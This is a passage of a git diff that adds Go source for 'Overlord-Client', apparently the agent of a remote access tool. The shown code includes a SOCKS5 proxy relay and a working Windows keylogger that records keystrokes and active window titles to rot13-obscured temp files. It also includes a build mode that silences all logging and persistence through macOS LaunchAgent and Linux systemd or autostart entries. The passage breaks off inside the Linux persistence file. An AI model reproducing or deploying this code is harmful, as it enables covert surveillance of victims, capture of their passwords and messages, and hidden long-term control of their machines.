default: + log.Printf("Proxy accept error: %v", err) + continue + } + } + + go handleProxyConnection(ctx, conn) + } +} + +func handleProxyConnection(ctx context.Context, conn net.Conn) { + defer conn.Close() + + conn.SetDeadline(time.Now().Add(30 * time.Second)) + + buf := make([]byte, 2) + if _, err := io.ReadFull(conn, buf); err != nil { + log.Printf("Proxy handshake read error: %v", err) + return + } + + version := buf[0] + nmethods := buf[1] + + if version != 5 { + log.Printf("Unsupported SOCKS version: %d", version) + return + } + + methods := make([]byte, nmethods) + if _, err := io.ReadFull(conn, methods); err != nil { + log.Printf("Proxy methods read error: %v", err) + return + } + + if _, err := conn.Write([]byte{5, 0}); err != nil { + log.Printf("Proxy handshake response error: %v", err) + return + } + + reqHeader := make([]byte, 4) + if _, err := io.ReadFull(conn, reqHeader); err != nil { + log.Printf("Proxy request header error: %v", err) + return + } + + if reqHeader[0] != 5 { + log.Printf("Invalid request version: %d", reqHeader[0]) + return + } + + cmd := reqHeader[1] + if cmd != 1 { + conn.Write([]byte{5, 7, 0, 1, 0, 0, 0, 0, 0, 0}) // command not supported + return + } + + atyp := reqHeader[3] + var host string + var port uint16 + + switch atyp { + case 1: // IPv4 + addr := make([]byte, 4) + if _, err := io.ReadFull(conn, addr); err != nil { + return + } + host = net.IP(addr).String() + case 3: // domain name + addrLen := make([]byte, 1) + if _, err := io.ReadFull(conn, addrLen); err != nil { + return + } + addr := make([]byte, addrLen[0]) + if _, err := io.ReadFull(conn, addr); err != nil { + return + } + host = string(addr) + case 4: // IPv6 + addr := make([]byte, 16) + if _, err := io.ReadFull(conn, addr); err != nil { + return + } + host = net.IP(addr).String() + default: + conn.Write([]byte{5, 8, 0, 1, 0, 0, 0, 0, 0, 0}) // Address type not supported + return + } + + // read port + portBytes := make([]byte, 2) + if _, err := io.ReadFull(conn, portBytes); err != nil { + return + } + port = binary.BigEndian.Uint16(portBytes) + + log.Printf("SOCKS5 CONNECT to %s:%d", host, port) + + // connect to target + targetAddr := fmt.Sprintf("%s:%d", host, port) + targetConn, err := net.DialTimeout("tcp", targetAddr, 10*time.Second) + if err != nil { + log.Printf("Failed to connect to %s: %v", targetAddr, err) + conn.Write([]byte{5, 5, 0, 1, 0, 0, 0, 0, 0, 0}) // Connection refused + return + } + defer targetConn.Close() + + // send success response + // VER | REP | RSV | ATYP | BND.ADDR | BND.PORT + conn.Write([]byte{5, 0, 0, 1, 0, 0, 0, 0, 0, 0}) + + // clear deadline for data transfer + conn.SetDeadline(time.Time{}) + targetConn.SetDeadline(time.Time{}) + + // relay data bidirectionally + done := make(chan struct{}, 2) + + goSafe("socks5 relay to target", nil, func() { + io.Copy(targetConn, conn) + done <- struct{}{} + }) + + goSafe("socks5 relay to client", nil, func() { + io.Copy(conn, targetConn) + done <- struct{}{} + }) + + select { + case <-done: + case <-ctx.Done(): + } +} diff --git a/Overlord-Client/cmd/agent/handlers/stream_limit.go b/Overlord-Client/cmd/agent/handlers/stream_limit.go new file mode 100644 index 0000000..203fcc8 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/stream_limit.go @@ -0,0 +1,28 @@ +package handlers + +import ( + "log" + "os" + "strconv" + "strings" + "time" +) + +func streamInterval(envVar string, defFPS int) (time.Duration, int) { + fps := defFPS + raw := strings.TrimSpace(os.Getenv(envVar)) + if raw != "" { + if v, err := strconv.Atoi(raw); err == nil && v > 0 { + fps = v + } else { + log.Printf("stream: invalid %s=%q, using %d", envVar, raw, defFPS) + } + } + if fps < 1 { + fps = 1 + } + if fps > 120 { + fps = 120 + } + return time.Second / time.Duration(fps), fps +} diff --git a/Overlord-Client/cmd/agent/keylogger/keylogger.go b/Overlord-Client/cmd/agent/keylogger/keylogger.go new file mode 100644 index 0000000..d251916 --- /dev/null +++ b/Overlord-Client/cmd/agent/keylogger/keylogger.go @@ -0,0 +1,410 @@ +package keylogger + +import ( + "fmt" + "log" + "os" + "path/filepath" + "strings" + "sync" + "time" +) + +const ( + MaxFileSize = 10 * 1024 * 1024 // 10MB + FileRetention = 7 * 24 * time.Hour // 1 week + FlushInterval = 5 * time.Second + FileNamePrefix = "ovd-" + InactivityPause = 2 * time.Second // Time before starting a new line +) + +type Keylogger struct { + mu sync.Mutex + running bool + stopCh chan struct{} + buffer strings.Builder + currentFile *os.File + currentDate string + currentName string + logDir string + lastKeyTime time.Time + lineStarted bool + currentWindowTitle string +} + +func New() *Keylogger { + return &Keylogger{ + stopCh: make(chan struct{}), + logDir: getTempDir(), + } +} + +func (k *Keylogger) Start() error { + k.mu.Lock() + if k.running { + k.mu.Unlock() + return fmt.Errorf("keylogger already running") + } + k.running = true + k.mu.Unlock() + + log.Printf("[keylogger] Starting keylogger, logs in: %s", k.logDir) + + go k.cleanupOldLogs() + go k.captureLoop() + go k.flushLoop() + + return nil +} + +func (k *Keylogger) Stop() { + k.mu.Lock() + defer k.mu.Unlock() + + if !k.running { + return + } + + k.running = false + close(k.stopCh) + + if k.currentFile != nil { + if k.lineStarted && k.buffer.Len() > 0 { + k.buffer.WriteString("\n") + } + k.flushBuffer() + k.currentFile.Close() + k.currentFile = nil + } + + log.Printf("[keylogger] Stopped") +} + +func (k *Keylogger) ListFiles() ([]FileInfo, error) { + entries, err := os.ReadDir(k.logDir) + if err != nil { + return nil, err + } + + var files []FileInfo + for _, entry := range entries { + if entry.IsDir() { + continue + } + name := entry.Name() + if !strings.HasPrefix(name, FileNamePrefix) { + continue + } + + info, err := entry.Info() + if err != nil { + continue + } + + files = append(files, FileInfo{ + Name: name, + Size: info.Size(), + Date: info.ModTime(), + }) + } + + return files, nil +} + +func (k *Keylogger) ReadFile(filename string) ([]byte, error) { + if strings.Contains(filename, "..") || strings.Contains(filename, string(filepath.Separator)) { + return nil, fmt.Errorf("invalid filename") + } + + if !strings.HasPrefix(filename, FileNamePrefix) { + return nil, fmt.Errorf("invalid filename prefix") + } + + path := filepath.Join(k.logDir, filename) + data, err := os.ReadFile(path) + if err != nil { + return nil, err + } + + return data, nil +} + +func (k *Keylogger) ClearAll() error { + k.mu.Lock() + defer k.mu.Unlock() + + if k.currentFile != nil { + k.currentFile.Close() + k.currentFile = nil + k.currentDate = "" + k.currentName = "" + k.buffer.Reset() + k.lineStarted = false + } + + entries, err := os.ReadDir(k.logDir) + if err != nil { + return err + } + + for _, entry := range entries { + if entry.IsDir() { + continue + } + name := entry.Name() + if !strings.HasPrefix(name, FileNamePrefix) { + continue + } + + path := filepath.Join(k.logDir, name) + if err := os.Remove(path); err != nil { + log.Printf("[keylogger] Failed to remove %s: %v", name, err) + } + } + + log.Printf("[keylogger] Cleared all log files") + return nil +} + +func (k *Keylogger) DeleteFile(filename string) error { + if strings.Contains(filename, "..") || strings.Contains(filename, string(filepath.Separator)) { + return fmt.Errorf("invalid filename") + } + + if !strings.HasPrefix(filename, FileNamePrefix) { + return fmt.Errorf("invalid filename prefix") + } + + k.mu.Lock() + defer k.mu.Unlock() + + if k.currentFile != nil && filename == k.currentName { + k.currentFile.Close() + k.currentFile = nil + k.currentDate = "" + k.currentName = "" + k.buffer.Reset() + k.lineStarted = false + } + + path := filepath.Join(k.logDir, filename) + if err := os.Remove(path); err != nil { + return err + } + + log.Printf("[keylogger] Deleted log file: %s", filename) + return nil +} + +func (k *Keylogger) FlushNow() { + k.mu.Lock() + defer k.mu.Unlock() + + if k.buffer.Len() > 0 { + k.flushBuffer() + } +} + +func (k *Keylogger) captureLoop() { + for { + select { + case <-k.stopCh: + return + default: + if err := k.captureKeystrokes(); err != nil { + log.Printf("[keylogger] Capture error: %v", err) + time.Sleep(time.Second) + } + } + } +} + +func (k *Keylogger) flushLoop() { + ticker := time.NewTicker(FlushInterval) + defer ticker.Stop() + + for { + select { + case <-k.stopCh: + return + case <-ticker.C: + k.mu.Lock() + if k.buffer.Len() > 0 { + if k.lineStarted && !k.lastKeyTime.IsZero() && time.Since(k.lastKeyTime) > InactivityPause { + k.buffer.WriteString("\n") + k.lineStarted = false + } + k.flushBuffer() + } + k.mu.Unlock() + } + } +} + +func (k *Keylogger) flushBuffer() { + if k.buffer.Len() == 0 { + return + } + + today := time.Now().Format("2006-01-02") + if k.currentDate != today || k.currentFile == nil { + k.rotateFile(today) + } + + if k.currentFile != nil { + info, err := k.currentFile.Stat() + if err == nil && info.Size() >= MaxFileSize { + k.rotateFile(today) + } + } + + if k.currentFile == nil { + return + } + + encrypted := rot13(k.buffer.String()) + if _, err := k.currentFile.WriteString(encrypted); err != nil { + log.Printf("[keylogger] Write error: %v", err) + } + + k.buffer.Reset() +} + +func (k *Keylogger) rotateFile(date string) { + if k.currentFile != nil { + k.currentFile.Close() + } + + timestamp := time.Now().Unix() + filename := fmt.Sprintf("%s%s-%d.log", FileNamePrefix, date, timestamp) + path := filepath.Join(k.logDir, filename) + + file, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600) + if err != nil { + log.Printf("[keylogger] Failed to open log file: %v", err) + k.currentFile = nil + k.currentDate = "" + return + } + + k.currentFile = file + k.currentDate = date + k.currentName = filename + log.Printf("[keylogger] Rotated to new file: %s", filename) +} + +func (k *Keylogger) cleanupOldLogs() { + cutoff := time.Now().Add(-FileRetention) + + entries, err := os.ReadDir(k.logDir) + if err != nil { + log.Printf("[keylogger] Failed to read log dir for cleanup: %v", err) + return + } + + for _, entry := range entries { + if entry.IsDir() { + continue + } + name := entry.Name() + if !strings.HasPrefix(name, FileNamePrefix) { + continue + } + + info, err := entry.Info() + if err != nil { + continue + } + + if info.ModTime().Before(cutoff) { + path := filepath.Join(k.logDir, name) + if err := os.Remove(path); err != nil { + log.Printf("[keylogger] Failed to remove old log %s: %v", name, err) + } else { + log.Printf("[keylogger] Removed old log: %s", name) + } + } + } +} + +func (k *Keylogger) logKey(key string) { + k.mu.Lock() + defer k.mu.Unlock() + + now := time.Now() + + needsNewLine := false + if !k.lastKeyTime.IsZero() && now.Sub(k.lastKeyTime) > InactivityPause { + needsNewLine = true + } + + if key == "[ENTER]" { + if k.lineStarted { + k.buffer.WriteString("\n") + } + k.lineStarted = false + k.lastKeyTime = now + + if k.buffer.Len() > 4096 { + k.flushBuffer() + } + return + } + + windowTitle := k.getWindowTitle() + windowChanged := windowTitle != k.currentWindowTitle && windowTitle != "" + + if (needsNewLine || windowChanged) && k.lineStarted { + k.buffer.WriteString("\n") + k.lineStarted = false + } + + if !k.lineStarted { + timestamp := now.Format("2006-01-02 15:04:05") + if windowChanged { + k.currentWindowTitle = windowTitle + } + if k.currentWindowTitle != "" { + k.buffer.WriteString(fmt.Sprintf("[%s] [%s] ", timestamp, k.currentWindowTitle)) + } else { + k.buffer.WriteString(fmt.Sprintf("[%s] ", timestamp)) + } + k.lineStarted = true + } + + k.buffer.WriteString(key) + k.lastKeyTime = now + + if k.buffer.Len() > 4096 { + k.flushBuffer() + } +} + +func rot13(s string) string { + var result strings.Builder + for _, r := range s { + switch { + case r >= 'a' && r <= 'z': + result.WriteRune('a' + (r-'a'+13)%26) + case r >= 'A' && r <= 'Z': + result.WriteRune('A' + (r-'A'+13)%26) + default: + result.WriteRune(r) + } + } + return result.String() +} + +func getTempDir() string { + return os.TempDir() +} + +func (k *Keylogger) getWindowTitle() string { + return getWindowTitle() +} + +type FileInfo struct { + Name string + Size int64 + Date time.Time +} diff --git a/Overlord-Client/cmd/agent/keylogger/keylogger_darwin.go b/Overlord-Client/cmd/agent/keylogger/keylogger_darwin.go new file mode 100644 index 0000000..520ef79 --- /dev/null +++ b/Overlord-Client/cmd/agent/keylogger/keylogger_darwin.go @@ -0,0 +1,31 @@ +// go:build darwin +//go:build darwin +// +build darwin + +package keylogger + +import ( + "fmt" + "log" + "time" +) + +func (k *Keylogger) captureKeystrokes() error { + log.Printf("[keylogger] macOS keylogging not fully implemented - placeholder mode") + + ticker := time.NewTicker(30 * time.Second) + defer ticker.Stop() + + for { + select { + case <-k.stopCh: + return nil + case <-ticker.C: + k.logKey(fmt.Sprintf("[System Activity Detected at %s]", time.Now().Format("15:04:05"))) + } + } +} + +func getWindowTitle() string { + return "" +} diff --git a/Overlord-Client/cmd/agent/keylogger/keylogger_linux.go b/Overlord-Client/cmd/agent/keylogger/keylogger_linux.go new file mode 100644 index 0000000..3056913 --- /dev/null +++ b/Overlord-Client/cmd/agent/keylogger/keylogger_linux.go @@ -0,0 +1,31 @@ +// go:build linux +//go:build linux +// +build linux + +package keylogger + +import ( + "fmt" + "log" + "time" +) + +func (k *Keylogger) captureKeystrokes() error { + log.Printf("[keylogger] Linux keylogging not fully implemented - placeholder mode") + + ticker := time.NewTicker(30 * time.Second) + defer ticker.Stop() + + for { + select { + case <-k.stopCh: + return nil + case <-ticker.C: + k.logKey(fmt.Sprintf("[System Activity Detected at %s]", time.Now().Format("15:04:05"))) + } + } +} + +func getWindowTitle() string { + return "" +} diff --git a/Overlord-Client/cmd/agent/keylogger/keylogger_windows.go b/Overlord-Client/cmd/agent/keylogger/keylogger_windows.go new file mode 100644 index 0000000..c6df8eb --- /dev/null +++ b/Overlord-Client/cmd/agent/keylogger/keylogger_windows.go @@ -0,0 +1,272 @@ +// go:build windows +//go:build windows +// +build windows + +package keylogger + +import ( + "fmt" + "log" + "strings" + "syscall" + "time" + "unsafe" +) + +var ( + user32 = syscall.NewLazyDLL("user32.dll") + procGetAsyncKeyState = user32.NewProc("GetAsyncKeyState") + procGetKeyboardState = user32.NewProc("GetKeyboardState") + procToUnicode = user32.NewProc("ToUnicode") + procMapVirtualKey = user32.NewProc("MapVirtualKeyW") + procGetForegroundWindow = user32.NewProc("GetForegroundWindow") + procGetWindowTextW = user32.NewProc("GetWindowTextW") +) + +const ( + VK_SHIFT = 0x10 + VK_CONTROL = 0x11 + VK_MENU = 0x12 // ALT + VK_CAPITAL = 0x14 // CAPS LOCK +) + +var keyNames = map[int]string{ + 0x08: "[BACKSPACE]", + 0x09: "[TAB]", + 0x0D: "[ENTER]", + 0x1B: "[ESC]", + 0x20: " ", + 0x21: "[PAGE UP]", + 0x22: "[PAGE DOWN]", + 0x23: "[END]", + 0x24: "[HOME]", + 0x25: "[LEFT]", + 0x26: "[UP]", + 0x27: "[RIGHT]", + 0x28: "[DOWN]", + 0x2C: "[PRINT SCREEN]", + 0x2D: "[INSERT]", + 0x2E: "[DELETE]", + 0x5B: "[LEFT WIN]", + 0x5C: "[RIGHT WIN]", + 0x5D: "[MENU]", + VK_SHIFT: "[SHIFT]", + VK_CONTROL: "[CTRL]", + VK_MENU: "[ALT]", +} + +func (k *Keylogger) captureKeystrokes() error { + keyState := make(map[int]bool) + + for { + select { + case <-k.stopCh: + return nil + default: + time.Sleep(10 * time.Millisecond) + + // Check all printable keys and special keys + for vk := 8; vk <= 190; vk++ { + ret, _, _ := procGetAsyncKeyState.Call(uintptr(vk)) + keyDown := (ret & 0x8000) != 0 + + if keyDown && !keyState[vk] { + keyState[vk] = true + key := getKeyString(vk) + if key != "" { + k.logKey(key) + } + } else if !keyDown { + keyState[vk] = false + } + } + } + } +} + +func getKeyString(vk int) string { + if name, ok := keyNames[vk]; ok { + if vk == VK_SHIFT || vk == VK_CONTROL || vk == VK_MENU { + return "" + } + return name + } + + var kbState [256]byte + ret, _, err := procGetKeyboardState.Call(uintptr(unsafe.Pointer(&kbState[0]))) + if ret == 0 { + log.Printf("[keylogger] GetKeyboardState failed: %v", err) + return "" + } + + shiftDown := (getAsyncKeyState(VK_SHIFT) & 0x8000) != 0 + ctrlDown := (getAsyncKeyState(VK_CONTROL) & 0x8000) != 0 + altDown := (getAsyncKeyState(VK_MENU) & 0x8000) != 0 + if shiftDown { + kbState[VK_SHIFT] |= 0x80 + } else { + kbState[VK_SHIFT] &^= 0x80 + } + if ctrlDown { + kbState[VK_CONTROL] |= 0x80 + } else { + kbState[VK_CONTROL] &^= 0x80 + } + if altDown { + kbState[VK_MENU] |= 0x80 + } else { + kbState[VK_MENU] &^= 0x80 + } + + if ctrlDown || altDown { + base := keyNameForCombo(vk) + if base != "" { + return formatCombo(ctrlDown, altDown, shiftDown, base) + } + } + + var buffer [5]uint16 + sc, _, _ := procMapVirtualKey.Call(uintptr(vk), 0) + n, _, _ := procToUnicode.Call( + uintptr(vk), + sc, + uintptr(unsafe.Pointer(&kbState[0])), + uintptr(unsafe.Pointer(&buffer[0])), + uintptr(len(buffer)), + 0, + ) + + if n > 0 { + return syscall.UTF16ToString(buffer[:n]) + } + + if s := oemKeyFallback(vk, shiftDown); s != "" { + return s + } + + if vk >= 0x70 && vk <= 0x87 { + return fmt.Sprintf("[F%d]", vk-0x6F) + } + + if vk >= 0x60 && vk <= 0x69 { + return fmt.Sprintf("%d", vk-0x60) + } + + return "" +} + +func oemKeyFallback(vk int, shiftDown bool) string { + switch vk { + case 0xBA: // VK_OEM_1 ;: + if shiftDown { + return ":" + } + return ";" + case 0xBB: // VK_OEM_PLUS =+ + if shiftDown { + return "+" + } + return "=" + case 0xBC: // VK_OEM_COMMA ,< + if shiftDown { + return "<" + } + return "," + case 0xBD: // VK_OEM_MINUS -_ + if shiftDown { + return "_" + } + return "-" + case 0xBE: // VK_OEM_PERIOD .> + if shiftDown { + return ">" + } + return "." + case 0xBF: // VK_OEM_2 /? + if shiftDown { + return "?" + } + return "/" + case 0xC0: // VK_OEM_3 `~ + if shiftDown { + return "~" + } + return "`" + case 0xDB: // VK_OEM_4 [{ + if shiftDown { + return "{" + } + return "[" + case 0xDC: // VK_OEM_5 \| + if shiftDown { + return "|" + } + return "\\" + case 0xDD: // VK_OEM_6 ]} + if shiftDown { + return "}" + } + return "]" + case 0xDE: // VK_OEM_7 '\" + if shiftDown { + return "\"" + } + return "'" + } + return "" +} + +func getAsyncKeyState(vk int) uint16 { + ret, _, _ := procGetAsyncKeyState.Call(uintptr(vk)) + return uint16(ret) +} + +func keyNameForCombo(vk int) string { + // Letters + if vk >= 0x41 && vk <= 0x5A { + return string(rune('A' + (vk - 0x41))) + } + // Digits 0-9 + if vk >= 0x30 && vk <= 0x39 { + return string(rune('0' + (vk - 0x30))) + } + // Function keys + if vk >= 0x70 && vk <= 0x87 { + return fmt.Sprintf("F%d", vk-0x6F) + } + // Numpad digits + if vk >= 0x60 && vk <= 0x69 { + return fmt.Sprintf("NUM%d", vk-0x60) + } + return "" +} + +func formatCombo(ctrlDown, altDown, shiftDown bool, key string) string { + parts := make([]string, 0, 4) + if ctrlDown { + parts = append(parts, "CTRL") + } + if altDown { + parts = append(parts, "ALT") + } + if shiftDown { + parts = append(parts, "SHIFT") + } + parts = append(parts, key) + return "[" + strings.Join(parts, "+") + "]" +} + +func getWindowTitle() string { + hwnd, _, _ := procGetForegroundWindow.Call() + if hwnd == 0 { + return "" + } + + var buf [256]uint16 + ret, _, _ := procGetWindowTextW.Call(hwnd, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf))) + if ret == 0 { + return "" + } + + return syscall.UTF16ToString(buf[:]) +} diff --git a/Overlord-Client/cmd/agent/log_silence_noprint.go b/Overlord-Client/cmd/agent/log_silence_noprint.go new file mode 100644 index 0000000..d4cb2a2 --- /dev/null +++ b/Overlord-Client/cmd/agent/log_silence_noprint.go @@ -0,0 +1,24 @@ +//go:build noprint +// +build noprint + +package main + +import ( + "io" + "log" + "os" +) + +var devNullFile *os.File + +func init() { + log.SetOutput(io.Discard) + + file, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0) + if err != nil { + return + } + devNullFile = file + os.Stdout = file + os.Stderr = file +} diff --git a/Overlord-Client/cmd/agent/main.go b/Overlord-Client/cmd/agent/main.go new file mode 100644 index 0000000..bbd2dcb --- /dev/null +++ b/Overlord-Client/cmd/agent/main.go @@ -0,0 +1,39 @@ +package main + +import ( + "log" + "time" + + "overlord-client/cmd/agent/config" + "overlord-client/cmd/agent/mutex" + "overlord-client/cmd/agent/persistence" +) + +func main() { + cfg := config.Load() + + if cfg.EnablePersistence { + if err := persistence.Setup(); err != nil { + log.Printf("Warning: Failed to setup persistence: %v", err) + } + } + + releaseMutex, ok, err := mutex.Acquire(cfg.Mutex) + if err != nil { + log.Printf("[mutex] failed to initialize mutex: %v", err) + return + } + if !ok { + log.Printf("[mutex] another instance is already running; exiting") + return + } + defer releaseMutex() + + for { + func() { + defer recoverAndLog("main", nil) + runClient(cfg) + }() + time.Sleep(2 * time.Second) + } +} diff --git a/Overlord-Client/cmd/agent/main_test.go b/Overlord-Client/cmd/agent/main_test.go new file mode 100644 index 0000000..bea6ba7 --- /dev/null +++ b/Overlord-Client/cmd/agent/main_test.go @@ -0,0 +1,17 @@ +package main + +import ( + "testing" + "time" + + rt "overlord-client/cmd/agent/runtime" +) + +func TestMinDuration(t *testing.T) { + if got := rt.MinDuration(1*time.Second, 5*time.Second); got != 1*time.Second { + t.Fatalf("expected shorter duration returned, got %s", got) + } + if got := rt.MinDuration(5*time.Second, 1*time.Second); got != 1*time.Second { + t.Fatalf("expected shorter duration returned, got %s", got) + } +} diff --git a/Overlord-Client/cmd/agent/mutex/mutex.go b/Overlord-Client/cmd/agent/mutex/mutex.go new file mode 100644 index 0000000..b32a41a --- /dev/null +++ b/Overlord-Client/cmd/agent/mutex/mutex.go @@ -0,0 +1,33 @@ +package mutex + +import ( + "fmt" + "strings" +) + +const maxMutexLength = 64 + +func sanitizeName(name string) (string, error) { + trimmed := strings.TrimSpace(name) + if trimmed == "" { + return "", fmt.Errorf("empty mutex name") + } + + var builder strings.Builder + for _, r := range trimmed { + if (r >= 'a' && r <= 'z') || (r >= 'A' && r <= 'Z') || (r >= '0' && r <= '9') || r == '-' || r == '_' || r == '.' { + builder.WriteRune(r) + } + } + + sanitized := builder.String() + if sanitized == "" { + return "", fmt.Errorf("mutex name has no valid characters") + } + + if len(sanitized) > maxMutexLength { + sanitized = sanitized[:maxMutexLength] + } + + return sanitized, nil +} diff --git a/Overlord-Client/cmd/agent/mutex/mutex_unix.go b/Overlord-Client/cmd/agent/mutex/mutex_unix.go new file mode 100644 index 0000000..b4745f6 --- /dev/null +++ b/Overlord-Client/cmd/agent/mutex/mutex_unix.go @@ -0,0 +1,44 @@ +//go:build !windows + +package mutex + +import ( + "errors" + "fmt" + "os" + "path/filepath" + + "golang.org/x/sys/unix" +) + +func Acquire(name string) (func(), bool, error) { + if name == "" { + return func() {}, true, nil + } + + sanitized, err := sanitizeName(name) + if err != nil { + return nil, false, err + } + + lockPath := filepath.Join(os.TempDir(), fmt.Sprintf("overlord-%s.lock", sanitized)) + file, err := os.OpenFile(lockPath, os.O_CREATE|os.O_RDWR, 0o644) + if err != nil { + return nil, false, fmt.Errorf("open mutex file: %w", err) + } + + if err := unix.Flock(int(file.Fd()), unix.LOCK_EX|unix.LOCK_NB); err != nil { + _ = file.Close() + if errors.Is(err, unix.EWOULDBLOCK) { + return func() {}, false, nil + } + return nil, false, fmt.Errorf("lock mutex file: %w", err) + } + + release := func() { + _ = unix.Flock(int(file.Fd()), unix.LOCK_UN) + _ = file.Close() + } + + return release, true, nil +} diff --git a/Overlord-Client/cmd/agent/mutex/mutex_windows.go b/Overlord-Client/cmd/agent/mutex/mutex_windows.go new file mode 100644 index 0000000..ec5dabf --- /dev/null +++ b/Overlord-Client/cmd/agent/mutex/mutex_windows.go @@ -0,0 +1,38 @@ +//go:build windows + +package mutex + +import ( + "fmt" + + "golang.org/x/sys/windows" +) + +func Acquire(name string) (func(), bool, error) { + if name == "" { + return func() {}, true, nil + } + + sanitized, err := sanitizeName(name) + if err != nil { + return nil, false, err + } + + fullName := "Global\\Overlord-" + sanitized + handle, err := windows.CreateMutex(nil, false, windows.StringToUTF16Ptr(fullName)) + if err != nil { + return nil, false, fmt.Errorf("create mutex: %w", err) + } + + if windows.GetLastError() == windows.ERROR_ALREADY_EXISTS { + windows.CloseHandle(handle) + return func() {}, false, nil + } + + release := func() { + _ = windows.ReleaseMutex(handle) + _ = windows.CloseHandle(handle) + } + + return release, true, nil +} diff --git a/Overlord-Client/cmd/agent/persistence/persistence.go b/Overlord-Client/cmd/agent/persistence/persistence.go new file mode 100644 index 0000000..af1819d --- /dev/null +++ b/Overlord-Client/cmd/agent/persistence/persistence.go @@ -0,0 +1,34 @@ +package persistence + +import ( + "os" + "path/filepath" +) + +func Setup() error { + exePath, err := os.Executable() + if err != nil { + return err + } + exePath, err = filepath.Abs(exePath) + if err != nil { + return err + } + return install(exePath) +} + +func InstallFrom(exePath string) error { + return install(exePath) +} + +func Configure(exePath string) error { + return configure(exePath) +} + +func TargetPath() (string, error) { + return getTargetPath() +} + +func Remove() error { + return uninstall() +} diff --git a/Overlord-Client/cmd/agent/persistence/persistence_darwin.go b/Overlord-Client/cmd/agent/persistence/persistence_darwin.go new file mode 100644 index 0000000..9d5faa1 --- /dev/null +++ b/Overlord-Client/cmd/agent/persistence/persistence_darwin.go @@ -0,0 +1,197 @@ +//go:build darwin +// +build darwin + +package persistence + +import ( + "fmt" + "io" + "os" + "os/user" + "path/filepath" + "text/template" +) + +const launchAgentPlist = ` + + + + Label + com.overlord.agent + ProgramArguments + + {{.ExePath}} + + RunAtLoad + + KeepAlive + + StandardOutPath + /tmp/overlord-agent.log + StandardErrorPath + /tmp/overlord-agent-error.log + + +` + +func getPlistPath() (string, error) { + usr, err := user.Current() + if err != nil { + return "", err + } + return filepath.Join(usr.HomeDir, "Library", "LaunchAgents", "com.overlord.agent.plist"), nil +} + +func getTargetPath() (string, error) { + usr, err := user.Current() + if err != nil { + return "", err + } + return filepath.Join(usr.HomeDir, "Library", "Application Support", "Overlord", "agent"), nil +} + +func install(exePath string) error { + + targetPath, err := getTargetPath() + if err != nil { + return fmt.Errorf("failed to get target path: %w", err) + } + + dir := filepath.Dir(targetPath) + if err := os.MkdirAll(dir, 0755); err != nil { + return fmt.Errorf("failed to create Overlord directory: %w", err) + } + + if err := replaceExecutable(exePath, targetPath); err != nil { + return err + } + + plistPath, err := getPlistPath() + if err != nil { + return fmt.Errorf("failed to get plist path: %w", err) + } + + launchAgentsDir := filepath.Dir(plistPath) + if err := os.MkdirAll(launchAgentsDir, 0755); err != nil { + return fmt.Errorf("failed to create LaunchAgents directory: %w", err) + } + + file, err := os.Create(plistPath) + if err != nil { + return fmt.Errorf("failed to create plist file: %w", err) + } + defer file.Close() + + tmpl, err := template.New("plist").Parse(launchAgentPlist) + if err != nil { + return fmt.Errorf("failed to parse template: %w", err) + } + + data := struct { + ExePath string + }{ + ExePath: targetPath, + } + + if err := tmpl.Execute(file, data); err != nil { + return fmt.Errorf("failed to write plist file: %w", err) + } + + return nil +} + +func replaceExecutable(exePath, targetPath string) error { + srcFile, err := os.Open(exePath) + if err != nil { + return fmt.Errorf("failed to open source executable: %w", err) + } + defer srcFile.Close() + + dir := filepath.Dir(targetPath) + tmpFile, err := os.CreateTemp(dir, "agent-*.tmp") + if err != nil { + return fmt.Errorf("failed to create temp executable: %w", err) + } + tmpPath := tmpFile.Name() + defer func() { + _ = tmpFile.Close() + _ = os.Remove(tmpPath) + }() + + if _, err := io.Copy(tmpFile, srcFile); err != nil { + return fmt.Errorf("failed to copy executable: %w", err) + } + if err := tmpFile.Sync(); err != nil { + return fmt.Errorf("failed to sync temp file: %w", err) + } + if err := tmpFile.Close(); err != nil { + return fmt.Errorf("failed to close temp file: %w", err) + } + + if err := os.Rename(tmpPath, targetPath); err != nil { + if removeErr := os.Remove(targetPath); removeErr == nil { + if err = os.Rename(tmpPath, targetPath); err == nil { + return nil + } + } + return fmt.Errorf("failed to replace executable at %s: %w", targetPath, err) + } + + if err := os.Chmod(targetPath, 0755); err != nil { + return fmt.Errorf("failed to set executable permissions: %w", err) + } + + return nil +} + +func configure(exePath string) error { + plistPath, err := getPlistPath() + if err != nil { + return fmt.Errorf("failed to get plist path: %w", err) + } + + launchAgentsDir := filepath.Dir(plistPath) + if err := os.MkdirAll(launchAgentsDir, 0755); err != nil { + return fmt.Errorf("failed to create LaunchAgents directory: %w", err) + } + + file, err := os.Create(plistPath) + if err != nil { + return fmt.Errorf("failed to create plist file: %w", err) + } + defer file.Close() + + tmpl, err := template.New("plist").Parse(launchAgentPlist) + if err != nil { + return fmt.Errorf("failed to parse template: %w", err) + } + + data := struct { + ExePath string + }{ + ExePath: exePath, + } + + if err := tmpl.Execute(file, data); err != nil { + return fmt.Errorf("failed to execute template: %w", err) + } + + return nil +} + +func uninstall() error { + plistPath, err := getPlistPath() + if err != nil { + return fmt.Errorf("failed to get plist path: %w", err) + } + + if err := os.Remove(plistPath); err != nil && !os.IsNotExist(err) { + return fmt.Errorf("failed to remove plist file: %w", err) + } + + if targetPath, err := getTargetPath(); err == nil { + os.Remove(targetPath) + } + + return nil +} diff --git a/Overlord-Client/cmd/agent/persistence/persistence_linux.go b/Overlord-Client/cmd/agent/persistence/persistence_linux.go new file mode 100644 index 0000000..cbf8787 --- /dev/null +++ b/Overlord-Client/cmd/agent/persistence/persistence_linux.go @@ -0,0 +1,227 @@ +//go:build linux +// +build linux + +package persistence + +import ( + "fmt" + "io" + "os" + "os/user" + "path/filepath" + "text/template" +) + +const systemdService = `[Unit] +Description=Overlord Agent +After=network.target + +[Service] +Type=simple +ExecStart={{.ExePath}} +Restart=always +RestartSec=10 + +[Install] +WantedBy=default.target +` + +const desktopEntry = `[Desktop Entry] +Type=Application +Name=Overlord Agent +Exec={{.ExePath}} +Hidden=false +NoDisplay=false +X-GNOME-Autostart-enabled=true +` + +func getSystemdPath() (string, error) { + usr, err := user.Current() + if err != nil { + return "", err + } + return filepath.Join(usr.HomeDir, ".config", "systemd", "user", "overlord-agent.service"), nil +} + +func getAutostartPath() (string, error) { + usr, err := user.Current() + if err != nil { + return "", err + } + return filepath.Join(usr.HomeDir, ".config", "autostart", "overlord-agent.desktop"), nil +} + +func getTargetPath() (string, error) { + usr, err := user.Current() + if err != nil { 